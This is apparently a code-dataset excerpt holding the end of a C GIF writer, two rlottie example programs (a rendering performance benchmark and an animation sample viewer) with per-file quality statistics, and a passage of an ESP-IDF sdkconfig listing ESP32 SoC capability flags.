fputc(0x3b, writer->f); // end of file
fclose(writer->f);
GIF_FREE(writer->oldImage);
writer->f = NULL;
writer->oldImage = NULL;
return true;
}
#endif
| 27,441
|
gif
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 3629, "qsc_code_num_chars": 27441.0, "qsc_code_mean_word_length": 4.37475889, "qsc_code_frac_words_unique": 0.17635712, "qsc_code_frac_chars_top_2grams": 0.02078609, "qsc_code_frac_chars_top_3grams": 0.00655077, "qsc_code_frac_chars_top_4grams": 0.00900731, "qsc_code_frac_chars_dupe_5grams": 0.19564122, "qsc_code_frac_chars_dupe_6grams": 0.12937768, "qsc_code_frac_chars_dupe_7grams": 0.10216679, "qsc_code_frac_chars_dupe_8grams": 0.07974301, "qsc_code_frac_chars_dupe_9grams": 0.0728773, "qsc_code_frac_chars_dupe_10grams": 0.05883094, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.04158487, "qsc_code_frac_chars_whitespace": 0.29455924, "qsc_code_size_file_byte": 27441.0, "qsc_code_num_lines": 837.0, "qsc_code_num_chars_line_max": 160.0, "qsc_code_num_chars_line_mean": 32.78494624, "qsc_code_frac_chars_alphabet": 0.77854117, "qsc_code_frac_chars_comments": 0.27331365, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.16304348, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00105311, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0048142, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.04710145, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.08152174, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/example/lottieperf.cpp
|
#include <memory>
#include <vector>
#include <dirent.h>
#include <algorithm>
#include <chrono>
#include <iostream>
#include <cstring>
#include <rlottie.h>
static bool isJsonFile(const char *filename) {
const char *dot = strrchr(filename, '.');
if(!dot || dot == filename) return false;
return !strcmp(dot + 1, "json");
}
static std::vector<std::string>
jsonFiles(const std::string &dirName)
{
DIR *d;
struct dirent *dir;
std::vector<std::string> result;
d = opendir(dirName.c_str());
if (d) {
while ((dir = readdir(d)) != NULL) {
if (isJsonFile(dir->d_name))
result.push_back(dirName + dir->d_name);
}
closedir(d);
}
std::sort(result.begin(), result.end(), [](auto & a, auto &b){return a < b;});
return result;
}
class Renderer
{
public:
explicit Renderer(const std::string& filename)
{
_animation = rlottie::Animation::loadFromFile(filename);
_frames = _animation->totalFrame();
_buffer = std::make_unique<uint32_t[]>(100 * 100);
_surface = rlottie::Surface(_buffer.get(), 100, 100, 100 * 4);
}
void render()
{
if (_cur >= _frames) _cur = 0;
_animation->renderSync(_cur++, _surface);
}
void renderAsync()
{
if (_cur >= _frames) _cur = 0;
_future = _animation->render(_cur++, _surface);
}
void get()
{
if (_future.valid()) _future.get();
}
private:
std::unique_ptr<uint32_t[]> _buffer;
std::unique_ptr<rlottie::Animation> _animation;
size_t _frames{0};
size_t _cur{0};
rlottie::Surface _surface;
std::future<rlottie::Surface> _future;
};
class PerfTest
{
public:
explicit PerfTest(size_t resourceCount, size_t iterations):
_resourceCount(resourceCount), _iterations(iterations)
{
_resourceList = jsonFiles(std::string(DEMO_DIR));
}
void test(bool async)
{
setup();
std::cout<<" Test Started : .... \n";
auto start = std::chrono::high_resolution_clock::now();
benchmark(async);
std::chrono::duration<double> secs = std::chrono::high_resolution_clock::now() - start;
std::chrono::duration<double, std::milli> millisecs = secs;
std::cout<< " Test Finished.\n";
std::cout<< " \nPerformance Report: \n\n";
std::cout<< " \t Resource Rendered per Frame : "<< _resourceCount <<"\n";
std::cout<< " \t Render Buffer Size : (100 X 100) \n";
std::cout<< " \t Render Mode : "<< (async ? "Async" : "Sync")<<"\n";
std::cout<< " \t Total Frames Rendered : "<< _iterations<<"\n";
std::cout<< " \t Total Render Time : "<< secs.count()<<"sec\n";
std::cout<< " \t Avrage Time per Resource : "<< millisecs.count() / (_iterations * _resourceCount)<<"ms\n";
std::cout<< " \t Avrage Time Per Frame : "<< millisecs.count() / _iterations <<"ms\n";
std::cout<< " \t FPS : "<< _iterations / secs.count() <<"fps\n\n";
}
private:
void setup()
{
for (auto i = 0u; i < _resourceCount; i++) {
auto index = i % _resourceList.size();
_renderers.push_back(std::make_unique<Renderer>(_resourceList[index]));
}
}
void benchmark(bool async)
{
for (auto i = 0u; i < _iterations; i++) {
if (async) {
for (const auto &e : _renderers) e->renderAsync();
for (const auto &e : _renderers) e->get();
} else {
for (const auto &e : _renderers) e->render();
}
}
}
private:
size_t _resourceCount;
size_t _iterations;
std::vector<std::string> _resourceList;
std::vector<std::unique_ptr<Renderer>> _renderers;
};
static int help()
{
std::cout<<"\nUsage : ./perf [--sync] [-c] [resource count] [-i] [iteration count] \n";
std::cout<<"\nExample : ./perf -c 50 -i 100 \n";
std::cout<<"\n\t runs perf test for 100 iterations. renders 50 resource per iteration\n\n";
return 0;
}
int
main(int argc, char ** argv)
{
bool async = true;
size_t resourceCount = 250;
size_t iterations = 500;
auto index = 0;
while (index < argc) {
const char* option = argv[index];
index++;
if (!strcmp(option,"--help") || !strcmp(option,"-h")) {
return help();
} else if (!strcmp(option,"--sync")) {
async = false;
} else if (!strcmp(option,"-c")) {
resourceCount = (index < argc) ? atoi(argv[index]) : resourceCount;
index++;
} else if (!strcmp(option,"-i")) {
iterations = (index < argc) ? atoi(argv[index]) : iterations;
index++;
}
}
PerfTest obj(resourceCount, iterations);
obj.test(async);
return 0;
}
| 4,938
|
lottieperf
|
cpp
|
en
|
cpp
|
code
|
{"qsc_code_num_words": 548, "qsc_code_num_chars": 4938.0, "qsc_code_mean_word_length": 4.80656934, "qsc_code_frac_words_unique": 0.25547445, "qsc_code_frac_chars_top_2grams": 0.03720577, "qsc_code_frac_chars_top_3grams": 0.03340926, "qsc_code_frac_chars_top_4grams": 0.02733485, "qsc_code_frac_chars_dupe_5grams": 0.15489749, "qsc_code_frac_chars_dupe_6grams": 0.09149582, "qsc_code_frac_chars_dupe_7grams": 0.01670463, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01478953, "qsc_code_frac_chars_whitespace": 0.28797084, "qsc_code_size_file_byte": 4938.0, "qsc_code_num_lines": 160.0, "qsc_code_num_chars_line_max": 119.0, "qsc_code_num_chars_line_mean": 30.8625, "qsc_code_frac_chars_alphabet": 0.73435722, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0952381, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00680272, "qsc_code_frac_chars_string_length": 0.12049413, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": 0.06122449, "qsc_codecpp_frac_lines_func_ratio": 0.08843537, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 1.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.17687075, "qsc_codecpp_frac_lines_print": 0.0952381}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/example/uxsampletest.cpp
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include"evasapp.h"
#include "lottieview.h"
#include <memory>
#include<vector>
#include<string>
class UxSampleTest
{
public:
UxSampleTest(EvasApp *app, bool renderMode) {
mApp = app;
mRenderMode = renderMode;
mResourceList = EvasApp::jsonFiles(std::string(DEMO_DIR) + "UXSample_1920x1080/");
mRepeatMode = LottieView::RepeatMode::Restart;
}
void showPrev() {
if (mResourceList.empty()) return;
mCurIndex--;
if (mCurIndex < 0)
mCurIndex = mResourceList.size() - 1;
show();
}
void showNext() {
if (mResourceList.empty()) return;
mCurIndex++;
if (mCurIndex >= int(mResourceList.size()))
mCurIndex = 0;
show();
}
void resize() {
if (mView) {
mView->setSize(mApp->width(), mApp->height());
}
}
private:
void show() {
mView = std::make_unique<LottieView>(mApp->evas(), Strategy::renderCAsync);
mView->setFilePath(mResourceList[mCurIndex].c_str());
mView->setPos(0, 0);
mView->setSize(mApp->width(), mApp->height());
mView->show();
mView->play();
mView->loop(true);
mView->setRepeatMode(mRepeatMode);
}
public:
EvasApp *mApp;
bool mRenderMode = false;
int mCurIndex = -1;
std::vector<std::string> mResourceList;
std::unique_ptr<LottieView> mView;
LottieView::RepeatMode mRepeatMode;
};
static void
onExitCb(void *data, void */*extra*/)
{
UxSampleTest *view = (UxSampleTest *)data;
delete view;
}
static void
onKeyCb(void *data, void *extra)
{
UxSampleTest *view = (UxSampleTest *)data;
char *keyname = (char *)extra;
if (!strcmp(keyname, "Right") || !strcmp(keyname, "n")) {
view->showNext();
} else if (!strcmp(keyname, "Left") || !strcmp(keyname, "p")) {
view->showPrev();
} else if (!strcmp(keyname,"r")) {
if (view->mRepeatMode == LottieView::RepeatMode::Restart) {
view->mRepeatMode = LottieView::RepeatMode::Reverse;
} else
view->mRepeatMode = LottieView::RepeatMode::Restart;
if (view->mView)
view->mView->setRepeatMode(view->mRepeatMode);
}
}
static void
onResizeCb(void *data, void */*extra*/)
{
UxSampleTest *view = (UxSampleTest *)data;
view->resize();
}
int
main(int argc, char **argv)
{
EvasApp *app = new EvasApp(800, 800);
app->setup();
bool renderMode = true;
if (argc > 1) {
if (!strcmp(argv[1],"--disable-render"))
renderMode = false;
}
UxSampleTest *view = new UxSampleTest(app, renderMode);
view->showNext();
app->addExitCb(onExitCb, view);
app->addKeyCb(onKeyCb, view);
app->addResizeCb(onResizeCb, view);
app->run();
delete app;
return 0;
}
| 3,952
|
uxsampletest
|
cpp
|
en
|
cpp
|
code
|
{"qsc_code_num_words": 454, "qsc_code_num_chars": 3952.0, "qsc_code_mean_word_length": 5.58590308, "qsc_code_frac_words_unique": 0.40748899, "qsc_code_frac_chars_top_2grams": 0.03470032, "qsc_code_frac_chars_top_3grams": 0.0488959, "qsc_code_frac_chars_top_4grams": 0.04495268, "qsc_code_frac_chars_dupe_5grams": 0.15181388, "qsc_code_frac_chars_dupe_6grams": 0.11869085, "qsc_code_frac_chars_dupe_7grams": 0.0942429, "qsc_code_frac_chars_dupe_8grams": 0.0579653, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00885246, "qsc_code_frac_chars_whitespace": 0.22823887, "qsc_code_size_file_byte": 3952.0, "qsc_code_num_lines": 138.0, "qsc_code_num_chars_line_max": 89.0, "qsc_code_num_chars_line_mean": 28.63768116, "qsc_code_frac_chars_alphabet": 0.82262295, "qsc_code_frac_chars_comments": 0.29504049, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.15841584, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.02440775, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": 0.04950495, "qsc_codecpp_frac_lines_func_ratio": 0.0990099, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 1.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.13861386, "qsc_codecpp_frac_lines_print": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
|
0015/StickiNote
|
sdkconfig
|
#
# Automatically generated file. DO NOT EDIT.
# Espressif IoT Development Framework (ESP-IDF) 5.4.0 Project Configuration
#
CONFIG_SOC_ADC_SUPPORTED=y
CONFIG_SOC_ANA_CMPR_SUPPORTED=y
CONFIG_SOC_DEDICATED_GPIO_SUPPORTED=y
CONFIG_SOC_UART_SUPPORTED=y
CONFIG_SOC_GDMA_SUPPORTED=y
CONFIG_SOC_AHB_GDMA_SUPPORTED=y
CONFIG_SOC_AXI_GDMA_SUPPORTED=y
CONFIG_SOC_DW_GDMA_SUPPORTED=y
CONFIG_SOC_DMA2D_SUPPORTED=y
CONFIG_SOC_GPTIMER_SUPPORTED=y
CONFIG_SOC_PCNT_SUPPORTED=y
CONFIG_SOC_LCDCAM_SUPPORTED=y
CONFIG_SOC_LCDCAM_CAM_SUPPORTED=y
CONFIG_SOC_LCDCAM_I80_LCD_SUPPORTED=y
CONFIG_SOC_LCDCAM_RGB_LCD_SUPPORTED=y
CONFIG_SOC_MIPI_CSI_SUPPORTED=y
CONFIG_SOC_MIPI_DSI_SUPPORTED=y
CONFIG_SOC_MCPWM_SUPPORTED=y
CONFIG_SOC_TWAI_SUPPORTED=y
CONFIG_SOC_ETM_SUPPORTED=y
CONFIG_SOC_PARLIO_SUPPORTED=y
CONFIG_SOC_ASYNC_MEMCPY_SUPPORTED=y
CONFIG_SOC_EMAC_SUPPORTED=y
CONFIG_SOC_USB_OTG_SUPPORTED=y
CONFIG_SOC_WIRELESS_HOST_SUPPORTED=y
CONFIG_SOC_USB_SERIAL_JTAG_SUPPORTED=y
CONFIG_SOC_TEMP_SENSOR_SUPPORTED=y
CONFIG_SOC_SUPPORTS_SECURE_DL_MODE=y
CONFIG_SOC_ULP_SUPPORTED=y
CONFIG_SOC_LP_CORE_SUPPORTED=y
CONFIG_SOC_EFUSE_KEY_PURPOSE_FIELD=y
CONFIG_SOC_EFUSE_SUPPORTED=y
CONFIG_SOC_RTC_FAST_MEM_SUPPORTED=y
CONFIG_SOC_RTC_MEM_SUPPORTED=y
CONFIG_SOC_RMT_SUPPORTED=y
CONFIG_SOC_I2S_SUPPORTED=y
CONFIG_SOC_SDM_SUPPORTED=y
CONFIG_SOC_GPSPI_SUPPORTED=y
CONFIG_SOC_LEDC_SUPPORTED=y
CONFIG_SOC_ISP_SUPPORTED=y
CONFIG_SOC_I2C_SUPPORTED=y
CONFIG_SOC_SYSTIMER_SUPPORTED=y
CONFIG_SOC_AES_SUPPORTED=y
CONFIG_SOC_MPI_SUPPORTED=y
CONFIG_SOC_SHA_SUPPORTED=y
CONFIG_SOC_HMAC_SUPPORTED=y
CONFIG_SOC_DIG_SIGN_SUPPORTED=y
CONFIG_SOC_ECC_SUPPORTED=y
CONFIG_SOC_ECC_EXTENDED_MODES_SUPPORTED=y
CONFIG_SOC_FLASH_ENC_SUPPORTED=y
CONFIG_SOC_SECURE_BOOT_SUPPORTED=y
CONFIG_SOC_BOD_SUPPORTED=y
CONFIG_SOC_APM_SUPPORTED=y
CONFIG_SOC_PMU_SUPPORTED=y
CONFIG_SOC_DCDC_SUPPORTED=y
CONFIG_SOC_PAU_SUPPORTED=y
CONFIG_SOC_LP_TIMER_SUPPORTED=y
CONFIG_SOC_ULP_LP_UART_SUPPORTED=y
CONFIG_SOC_LP_GPIO_MATRIX_SUPPORTED=y
CONFIG_SOC_LP_PERIPHERALS_SUPPORTED=y
CONFIG_SOC_LP_I2C_SUPPORTED=y
CONFIG_SOC_LP_I2S_SUPPORTED=y
CONFIG_SOC_LP_SPI_SUPPORTED=y
CONFIG_SOC_LP_ADC_SUPPORTED=y
CONFIG_SOC_LP_VAD_SUPPORTED=y
CONFIG_SOC_SPIRAM_SUPPORTED=y
CONFIG_SOC_PSRAM_DMA_CAPABLE=y
CONFIG_SOC_SDMMC_HOST_SUPPORTED=y
CONFIG_SOC_CLK_TREE_SUPPORTED=y
CONFIG_SOC_ASSIST_DEBUG_SUPPORTED=y
CONFIG_SOC_DEBUG_PROBE_SUPPORTED=y
CONFIG_SOC_WDT_SUPPORTED=y
CONFIG_SOC_SPI_FLASH_SUPPORTED=y
CONFIG_SOC_TOUCH_SENSOR_SUPPORTED=y
CONFIG_SOC_RNG_SUPPORTED=y
CONFIG_SOC_GP_LDO_SUPPORTED=y
CONFIG_SOC_PPA_SUPPORTED=y
CONFIG_SOC_LIGHT_SLEEP_SUPPORTED=y
CONFIG_SOC_DEEP_SLEEP_SUPPORTED=y
CONFIG_SOC_PM_SUPPORTED=y
CONFIG_SOC_XTAL_SUPPORT_40M=y
CONFIG_SOC_AES_SUPPORT_DMA=y
CONFIG_SOC_AES_SUPPORT_GCM=y
CONFIG_SOC_AES_GDMA=y
CONFIG_SOC_AES_SUPPORT_AES_128=y
CONFIG_SOC_AES_SUPPORT_AES_256=y
CONFIG_SOC_ADC_RTC_CTRL_SUPPORTED=y
CONFIG_SOC_ADC_DIG_CTRL_SUPPORTED=y
CONFIG_SOC_ADC_DMA_SUPPORTED=y
CONFIG_SOC_ADC_PERIPH_NUM=2
CONFIG_SOC_ADC_MAX_CHANNEL_NUM=8
CONFIG_SOC_ADC_ATTEN_NUM=4
CONFIG_SOC_ADC_DIGI_CONTROLLER_NUM=2
CONFIG_SOC_ADC_PATT_LEN_MAX=16
CONFIG_SOC_ADC_DIGI_MAX_BITWIDTH=12
CONFIG_SOC_ADC_DIGI_MIN_BITWIDTH=12
CONFIG_SOC_ADC_DIGI_IIR_FILTER_NUM=2
CONFIG_SOC_ADC_DIGI_MONITOR_NUM=2
CONFIG_SOC_ADC_DIGI_RESULT_BYTES=4
CONFIG_SOC_ADC_DIGI_DATA_BYTES_PER_CONV=4
CONFIG_SOC_ADC_SAMPLE_FREQ_THRES_HIGH=83333
CONFIG_SOC_ADC_SAMPLE_FREQ_THRES_LOW=611
CONFIG_SOC_ADC_RTC_MIN_BITWIDTH=12
CONFIG_SOC_ADC_RTC_MAX_BITWIDTH=12
CONFIG_SOC_ADC_SHARED_POWER=y
CONFIG_SOC_BROWNOUT_RESET_SUPPORTED=y
CONFIG_SOC_SHARED_IDCACHE_SUPPORTED=y
CONFIG_SOC_CACHE_WRITEBACK_SUPPORTED=y
CONFIG_SOC_CACHE_FREEZE_SUPPORTED=y
CONFIG_SOC_CACHE_INTERNAL_MEM_VIA_L1CACHE=y
CONFIG_SOC_CPU_CORES_NUM=2
CONFIG_SOC_CPU_INTR_NUM=32
CONFIG_SOC_CPU_HAS_FLEXIBLE_INTC=y
CONFIG_SOC_INT_CLIC_SUPPORTED=y
CONFIG_SOC_INT_HW_NESTED_SUPPORTED=y
CONFIG_SOC_BRANCH_PREDICTOR_SUPPORTED=y
CONFIG_SOC_CPU_COPROC_NUM=3
CONFIG_SOC_CPU_HAS_FPU=y
CONFIG_SOC_CPU_HAS_FPU_EXT_ILL_BUG=y
CONFIG_SOC_CPU_HAS_HWLOOP=y
CONFIG_SOC_CPU_HAS_PIE=y
CONFIG_SOC_HP_CPU_HAS_MULTIPLE_CORES=y
CONFIG_SOC_CPU_BREAKPOINTS_NUM=3
CONFIG_SOC_CPU_WATCHPOINTS_NUM=3
CONFIG_SOC_CPU_WATCHPOINT_MAX_REGION_SIZE=0x100
CONFIG_SOC_CPU_HAS_PMA=y
CONFIG_SOC_CPU_IDRAM_SPLIT_USING_PMP=y
CONFIG_SOC_CPU_PMP_REGION_GRANULARITY=128
CONFIG_SOC_CPU_HAS_LOCKUP_RESET=y
CONFIG_SOC_DS_SIGNATURE_MAX_BIT_LEN=4096
CONFIG_SOC_DS_KEY_PARAM_MD_IV_LENGTH=16
CONFIG_SOC_DS_KEY_CHECK_MAX_WAIT_US=1100
CONFIG_SOC_DMA_CAN_ACCESS_FLASH=y
CONFIG_SOC_AHB_GDMA_VERSION=2
CONFIG_SOC_GDMA_SUPPORT_CRC=y
CONFIG_SOC_GDMA_NUM_GROUPS_MAX=2
CONFIG_SOC_GDMA_PAIRS_PER_GROUP_MAX=3
CONFIG_SOC_AXI_GDMA_SUPPORT_PSRAM=y
CONFIG_SOC_GDMA_SUPPORT_ETM=y
CONFIG_SOC_GDMA_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_AXI_DMA_EXT_MEM_ENC_ALIGNMENT=16
CONFIG_SOC_DMA2D_GROUPS=1
CONFIG_SOC_DMA2D_TX_CHANNELS_PER_GROUP=3
CONFIG_SOC_DMA2D_RX_CHANNELS_PER_GROUP=2
CONFIG_SOC_ETM_GROUPS=1
CONFIG_SOC_ETM_CHANNELS_PER_GROUP=50
CONFIG_SOC_ETM_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_GPIO_PORT=1
CONFIG_SOC_GPIO_PIN_COUNT=55
CONFIG_SOC_GPIO_SUPPORT_PIN_GLITCH_FILTER=y
CONFIG_SOC_GPIO_FLEX_GLITCH_FILTER_NUM=8
CONFIG_SOC_GPIO_SUPPORT_PIN_HYS_FILTER=y
CONFIG_SOC_GPIO_SUPPORT_ETM=y
CONFIG_SOC_GPIO_SUPPORT_RTC_INDEPENDENT=y
CONFIG_SOC_GPIO_SUPPORT_DEEPSLEEP_WAKEUP=y
CONFIG_SOC_LP_IO_HAS_INDEPENDENT_WAKEUP_SOURCE=y
CONFIG_SOC_LP_IO_CLOCK_IS_INDEPENDENT=y
CONFIG_SOC_GPIO_VALID_GPIO_MASK=0x007FFFFFFFFFFFFF
CONFIG_SOC_GPIO_IN_RANGE_MAX=54
CONFIG_SOC_GPIO_OUT_RANGE_MAX=54
CONFIG_SOC_GPIO_DEEP_SLEEP_WAKE_VALID_GPIO_MASK=0
CONFIG_SOC_GPIO_DEEP_SLEEP_WAKE_SUPPORTED_PIN_CNT=16
CONFIG_SOC_GPIO_VALID_DIGITAL_IO_PAD_MASK=0x007FFFFFFFFF0000
CONFIG_SOC_GPIO_CLOCKOUT_BY_GPIO_MATRIX=y
CONFIG_SOC_GPIO_CLOCKOUT_CHANNEL_NUM=2
CONFIG_SOC_CLOCKOUT_SUPPORT_CHANNEL_DIVIDER=y
CONFIG_SOC_DEBUG_PROBE_NUM_UNIT=1
CONFIG_SOC_DEBUG_PROBE_MAX_OUTPUT_WIDTH=16
CONFIG_SOC_GPIO_SUPPORT_FORCE_HOLD=y
CONFIG_SOC_RTCIO_PIN_COUNT=16
CONFIG_SOC_RTCIO_INPUT_OUTPUT_SUPPORTED=y
CONFIG_SOC_RTCIO_HOLD_SUPPORTED=y
CONFIG_SOC_RTCIO_WAKE_SUPPORTED=y
CONFIG_SOC_DEDIC_GPIO_OUT_CHANNELS_NUM=8
CONFIG_SOC_DEDIC_GPIO_IN_CHANNELS_NUM=8
CONFIG_SOC_DEDIC_PERIPH_ALWAYS_ENABLE=y
CONFIG_SOC_ANA_CMPR_NUM=2
CONFIG_SOC_ANA_CMPR_CAN_DISTINGUISH_EDGE=y
CONFIG_SOC_ANA_CMPR_SUPPORT_ETM=y
CONFIG_SOC_I2C_NUM=3
CONFIG_SOC_HP_I2C_NUM=2
CONFIG_SOC_I2C_FIFO_LEN=32
CONFIG_SOC_I2C_CMD_REG_NUM=8
CONFIG_SOC_I2C_SUPPORT_SLAVE=y
CONFIG_SOC_I2C_SUPPORT_HW_FSM_RST=y
CONFIG_SOC_I2C_SUPPORT_HW_CLR_BUS=y
CONFIG_SOC_I2C_SUPPORT_XTAL=y
CONFIG_SOC_I2C_SUPPORT_RTC=y
CONFIG_SOC_I2C_SUPPORT_10BIT_ADDR=y
CONFIG_SOC_I2C_SLAVE_SUPPORT_BROADCAST=y
CONFIG_SOC_I2C_SLAVE_CAN_GET_STRETCH_CAUSE=y
CONFIG_SOC_I2C_SLAVE_SUPPORT_I2CRAM_ACCESS=y
